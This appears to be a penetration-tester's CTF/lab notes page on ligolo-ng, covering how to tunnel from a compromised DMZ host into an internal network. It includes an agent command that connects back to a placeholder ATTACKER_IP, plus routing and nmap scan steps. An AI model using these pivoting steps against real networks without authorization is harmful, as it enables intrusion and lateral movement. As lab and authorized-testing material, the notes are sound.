ligolo-ng
Table of Contents
Reverse tunneling/pivoting tool for reaching internal networks
from a compromised DMZ host. Creates a real tun network
interface on the attack machine rather than routing through a
SOCKS proxy — meaning tools like Nmap (SYN scans), BloodHound's
collector, and Impacket work natively through the tunnel without
the -sT=/-Pn= restrictions or flakiness that proxychains-based
tools (chisel, SSH dynamic port forwarding) impose. Preferable to
proxychains for any AD-heavy pivot.
Related: Dead Drop CTF BloodHound Mimikatz
Installation
Not packaged for apt on Parrot/Kali — download the release binary directly.
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_<version>_linux_amd64.tar.gz tar xzf ligolo-ng_proxy_*.tar.gz wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_<version>_linux_amd64.tar.gz tar xzf ligolo-ng_agent_*.tar.gz
Grab both the proxy (attack machine) and agent (target)
binaries from the same release — mismatched versions can cause
connection issues.
Core Concepts
| Component | Runs on | Role |
|---|---|---|
proxy |
Attack machine | Listener; manages sessions and routing |
agent |
Compromised host | Connects back to proxy, exposes network |
tun |
Attack machine | Virtual interface traffic routes through |
Common Workflows
One-time setup — create the tun interface
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up
Start the proxy (attack machine)
sudo ./proxy -selfcert
-selfcert generates a self-signed cert on the fly — fine for
CTF/lab use, avoid on a real engagement without proper cert
handling.
Deploy and run the agent (target)
Transfer the agent binary to the compromised host (scp, upload via webshell, etc.), then run:
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
Default listener port on the proxy side is 11601.
Start the tunnel and add the route
In the ligolo proxy interface, once the agent has connected:
session ifconfig start
ifconfig shows the agent's internal network view — confirm the
target subnet appears here before routing.
On the attack machine, in a separate terminal, add a route for
the internal subnet via the ligolo interface:
sudo ip route add 192.168.11.0/24 dev ligolo
Verify connectivity
ip route | grep ligolo nmap -sT -Pn -p 445,3389,88 192.168.11.0/24
ICMP is frequently blocked internally — a failed ping does not
mean the route is broken. Confirm with a TCP-based check instead
(SMB/RDP/Kerberos ports are reliable internal-network indicators).
Tips
- Create the
tuninterface once per attack-machine boot, before starting the proxy —startinside the session will fail if the interface doesn't exist yet. - Once routed, tools run directly against the internal subnet with no proxychains prefix needed — this is the main advantage over chisel/SSH SOCKS for BloodHound and Impacket-heavy AD pivots.
- Multiple agents can connect to one proxy — useful for pivoting through more than one compromised host, or reaching a second internal segment from an already-pivoted host.
- If routing appears up but nothing resolves, double check the
route target subnet actually matches what
ifconfigshowed for the agent — a typo'd /24 here is an easy, silent failure mode.